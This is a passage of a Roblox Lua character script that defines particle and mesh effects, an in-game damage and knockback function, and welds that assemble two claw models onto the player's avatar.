  2127. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2128. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2129. prt.Anchored=true
  2130. prt.CFrame=cframe*euler(x2,y2,z2)
  2131. --"http://www.roblox.com/asset/?id=168892465"
  2132. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2133. game:GetService("Debris"):AddItem(prt,2)
  2134. coroutine.resume(coroutine.create(function(Part,Mesh)
  2135. for i=0,1,0.03 do
  2136. wait()
  2137. Part.CFrame=Part.CFrame
  2138. Part.Transparency=i
  2139. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2140. end
  2141. Part.Parent=nil
  2142. end),prt,msh)
  2143. end
  2144.  
  2145. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2146. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2147. prt.Anchored=true
  2148. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2149. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2150. game:GetService("Debris"):AddItem(prt,2)
  2151. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2152. CF=Part.CFrame
  2153. Numbb=0
  2154. randnumb=math.random()/10
  2155. rand1=math.random()/10
  2156. for i=0,1,rand1 do
  2157. wait()
  2158. CF=CF*cf(0,math.random()/2,0)
  2159. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2160. Part.CFrame=CF*euler(Numbb,0,0)
  2161. Part.Transparency=i
  2162. Numbb=Numbb+randnumb
  2163. end
  2164. Part.Parent=nil
  2165. end),prt,CF,Numbb,randnumb)
  2166. end
  2167.  
  2168. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2169. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2170. prt.Anchored=true
  2171. prt.CFrame=cframe
  2172. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2173. game:GetService("Debris"):AddItem(prt,5)
  2174. coroutine.resume(coroutine.create(function(Part,Mesh)
  2175. for i=0,1,delay do
  2176. wait()
  2177. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2178. Part.Transparency=i
  2179. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2180. end
  2181. Part.Parent=nil
  2182. end),prt,msh)
  2183. end
  2184.  
  2185. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2186. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2187. prt.Anchored=true
  2188. prt.CFrame=cframe
  2189. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2190. game:GetService("Debris"):AddItem(prt,2)
  2191. coroutine.resume(coroutine.create(function(Part,Mesh)
  2192. for i=0,1,delay do
  2193. wait()
  2194. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2195. Part.Transparency=i
  2196. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2197. end
  2198. Part.Parent=nil
  2199. end),prt,msh)
  2200. end
  2201.  
  2202. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2203. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2204. prt.Anchored=true
  2205. prt.CFrame=cframe*cf(x,y,z)
  2206. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2207. game:GetService("Debris"):AddItem(prt,5)
  2208. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2209. local num=math.random()
  2210. local num2=math.random(-3,2)+math.random()
  2211. local numm=0
  2212. for i=0,1,delay*2 do
  2213. swait()
  2214. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2215. Part.Transparency=i
  2216. numm=numm+0.01
  2217. end
  2218. Part.Parent=nil
  2219. Mesh.Parent=nil
  2220. end),prt,msh,x,y,z)
  2221. end
  2222.  
  2223. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2224. if hit.Parent==nil then
  2225. return
  2226. end
  2227. h=hit.Parent:FindFirstChild("Humanoid")
  2228. for _,v in pairs(hit.Parent:children()) do
  2229. if v:IsA("Humanoid") then
  2230. h=v
  2231. end
  2232. end
  2233. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2234. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2235. end
  2236. if hit.Parent.className=="Hat" then
  2237. hit=hit.Parent.Parent:findFirstChild("Head")
  2238. end
  2239. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2240. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2241. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2242. return
  2243. end]]
  2244. -- hs(hit,1.2)
  2245. c=Instance.new("ObjectValue")
  2246. c.Name="creator"
  2247. c.Value=game:service("Players").LocalPlayer
  2248. c.Parent=h
  2249. game:GetService("Debris"):AddItem(c,.5)
  2250. Damage=math.random(minim,maxim)
  2251. -- h:TakeDamage(Damage)
  2252. blocked=false
  2253. block=hit.Parent:findFirstChild("Block")
  2254. if block~=nil then
  2255. print(block.className)
  2256. if block.className=="NumberValue" then
  2257. if block.Value>0 then
  2258. blocked=true
  2259. if decreaseblock==nil then
  2260. block.Value=block.Value-1
  2261. end
  2262. end
  2263. end
  2264. if block.className=="IntValue" then
  2265. if block.Value>0 then
  2266. blocked=true
  2267. if decreaseblock~=nil then
  2268. block.Value=block.Value-1
  2269. end
  2270. end
  2271. end
  2272. end
  2273. if blocked==false then
  2274. -- h:TakeDamage(Damage)
  2275. h.Health=h.Health-Damage
  2276. showDamage(hit.Parent,Damage,.5,TorsoColor)
  2277. else
  2278. h.Health=h.Health-(Damage/2)
  2279. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  2280. end
  2281. if Type=="Knockdown" then
  2282. hum=hit.Parent.Humanoid
  2283. hum.PlatformStand=true
  2284. coroutine.resume(coroutine.create(function(HHumanoid)
  2285. swait(1)
  2286. HHumanoid.PlatformStand=false
  2287. end),hum)
  2288. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2289. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2290. local bodvol=Instance.new("BodyVelocity")
  2291. bodvol.velocity=angle*knockback
  2292. bodvol.P=5000
  2293. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2294. bodvol.Parent=hit
  2295. rl=Instance.new("BodyAngularVelocity")
  2296. rl.P=3000
  2297. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2298. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2299. rl.Parent=hit
  2300. game:GetService("Debris"):AddItem(bodvol,.5)
  2301. game:GetService("Debris"):AddItem(rl,.5)
  2302. elseif Type=="Normal" then
  2303. vp=Instance.new("BodyVelocity")
  2304. vp.P=500
  2305. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2306. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2307. if KnockbackType==1 then
  2308. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2309. elseif KnockbackType==2 then
  2310. vp.velocity=Property.CFrame.lookVector*knockback
  2311. end
  2312. if knockback>0 then
  2313. vp.Parent=hit.Parent.Torso
  2314. end
  2315. game:GetService("Debris"):AddItem(vp,.5)
  2316. elseif Type=="Up" then
  2317. local bodyVelocity=Instance.new("BodyVelocity")
  2318. bodyVelocity.velocity=vt(0,10,0)
  2319. bodyVelocity.P=1000
  2320. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2321. bodyVelocity.Parent=hit
  2322. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2323. rl=Instance.new("BodyAngularVelocity")
  2324. rl.P=3000
  2325. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2326. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2327. rl.Parent=hit
  2328. game:GetService("Debris"):AddItem(rl,.5)
  2329. elseif Type=="Snare" then
  2330. bp=Instance.new("BodyPosition")
  2331. bp.P=2000
  2332. bp.D=100
  2333. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2334. bp.position=hit.Parent.Torso.Position
  2335. bp.Parent=hit.Parent.Torso
  2336. game:GetService("Debris"):AddItem(bp,1)
  2337. elseif Type=="Target" then
  2338. if Targetting==false then
  2339. ZTarget=hit.Parent.Torso
  2340. coroutine.resume(coroutine.create(function(Part)
  2341. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2342. swait(5)
  2343. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2344. end),ZTarget)
  2345. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2346. targetgui=Instance.new("BillboardGui")
  2347. targetgui.Parent=ZTarget
  2348. targetgui.Size=UDim2.new(10,100,10,100)
  2349. targ=Instance.new("ImageLabel")
  2350. targ.Parent=targetgui
  2351. targ.BackgroundTransparency=1
  2352. targ.Image="rbxassetid://4834067"
  2353. targ.Size=UDim2.new(1,0,1,0)
  2354. cam.CameraType="Scriptable"
  2355. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2356. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2357. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2358. Targetting=true
  2359. RocketTarget=ZTarget
  2360. for i=1,Property do
  2361. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2362. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2363. swait()
  2364. end
  2365. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2366. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2367. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2368. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2369. end
  2370. Targetting=false
  2371. RocketTarget=nil
  2372. targetgui.Parent=nil
  2373. cam.CameraType="Custom"
  2374. end
  2375. end
  2376. debounce=Instance.new("BoolValue")
  2377. debounce.Name="DebounceHit"
  2378. debounce.Parent=hit.Parent
  2379. debounce.Value=true
  2380. game:GetService("Debris"):AddItem(debounce,Delay)
  2381. c=Instance.new("ObjectValue")
  2382. c.Name="creator"
  2383. c.Value=Player
  2384. c.Parent=h
  2385. game:GetService("Debris"):AddItem(c,.5)
  2386. CRIT=false
  2387. hitDeb=true
  2388. AttackPos=6
  2389. end
  2390. end
  2391.  
  2392. showDamage=function(Char,Dealt,du,Color)
  2393. m=Instance.new("Model")
  2394. m.Name=tostring(Dealt)
  2395. h=Instance.new("Humanoid")
  2396. h.Health=0
  2397. h.MaxHealth=0
  2398. h.Parent=m
  2399. c=Instance.new("Part")
  2400. c.Transparency=0
  2401. c.BrickColor=TorsoColor
  2402. c.Name="Head"
  2403. c.TopSurface=0
  2404. c.BottomSurface=0
  2405. c.formFactor="Plate"
  2406. c.Size=Vector3.new(1,.4,1)
  2407. ms=Instance.new("CylinderMesh")
  2408. ms.Scale=Vector3.new(.8,.8,.8)
  2409. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2410. if CRIT==true then
  2411. ms.Scale=Vector3.new(1,1.25,1)
  2412. end
  2413. ms.Parent=c
  2414. c.Reflectance=0
  2415. Instance.new("BodyGyro").Parent=c
  2416. c.Parent=m
  2417. if Char:findFirstChild("Head")~=nil then
  2418. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2419. elseif Char.Parent:findFirstChild("Head")~=nil then
  2420. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2421. end
  2422. f=Instance.new("BodyPosition")
  2423. f.P=2000
  2424. f.D=100
  2425. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2426. f.position=c.Position+Vector3.new(0,3,0)
  2427. f.Parent=c
  2428. game:GetService("Debris"):AddItem(m,.5+du)
  2429. c.CanCollide=false
  2430. m.Parent=workspace
  2431. c.CanCollide=false
  2432. end
  2433.  
  2434. Player=game:GetService('Players').LocalPlayer
  2435. Character=Player.Character
  2436. Mouse=Player:GetMouse()
  2437. m=Instance.new('Model',Character)
  2438.  
  2439.  
  2440. local function weldBetween(a, b)
  2441. local weldd = Instance.new("ManualWeld")
  2442. weldd.Part0 = a
  2443. weldd.Part1 = b
  2444. weldd.C0 = CFrame.new()
  2445. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2446. weldd.Parent = a
  2447. return weldd
  2448. end
  2449.  
  2450. it=Instance.new
  2451.  
  2452. function nooutline(part)
  2453. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2454. end
  2455.  
  2456. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2457. local fp=it("Part")
  2458. fp.formFactor=formfactor
  2459. fp.Parent=parent
  2460. fp.Reflectance=reflectance
  2461. fp.Transparency=transparency
  2462. fp.CanCollide=false
  2463. fp.Locked=true
  2464. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2465. fp.Name=name
  2466. fp.Size=size
  2467. fp.Position=Character.Torso.Position
  2468. nooutline(fp)
  2469. fp.Material=material
  2470. fp:BreakJoints()
  2471. return fp
  2472. end
  2473.  
  2474. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2475. local mesh=it(Mesh)
  2476. mesh.Parent=part
  2477. if Mesh=="SpecialMesh" then
  2478. mesh.MeshType=meshtype
  2479. mesh.MeshId=meshid
  2480. end
  2481. mesh.Offset=offset
  2482. mesh.Scale=scale
  2483. return mesh
  2484. end
  2485.  
  2486. function weld(parent,part0,part1,c0,c1)
  2487. local weld=it("Weld")
  2488. weld.Parent=parent
  2489. weld.Part0=part0
  2490. weld.Part1=part1
  2491. weld.C0=c0
  2492. weld.C1=c1
  2493. return weld
  2494. end
  2495.  
  2496. local modelzorz=Instance.new("Model")
  2497. modelzorz.Parent=Character
  2498. modelzorz.Name="Claw1"
  2499.  
  2500. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2501. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2502. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2503. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2504. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2505. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2506. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2507. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2508. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2509. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2510. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2511. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2512. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2513. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2514. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2515. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2516. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2517. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2518. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2519. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2520. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2521. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2522. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2523. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2524. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2525. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2526. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2527. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2528. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2529. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2530. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2531. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2532. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2533. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2534. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2535. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2536. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2537. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2538. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2539. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2540. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2541.  
  2542. local modelzorz2=Instance.new("Model")
  2543. modelzorz2.Parent=Character
  2544. modelzorz2.Name="Claw2"
  2545.  
  2546. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2547. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2548. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2549. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2550. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2551. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2552. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2553. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2554. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2555. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2556. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2557. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2558. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2559. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2560. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2561. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2562. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2563. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2564. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2565. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2566. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2567. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2568. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2569. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
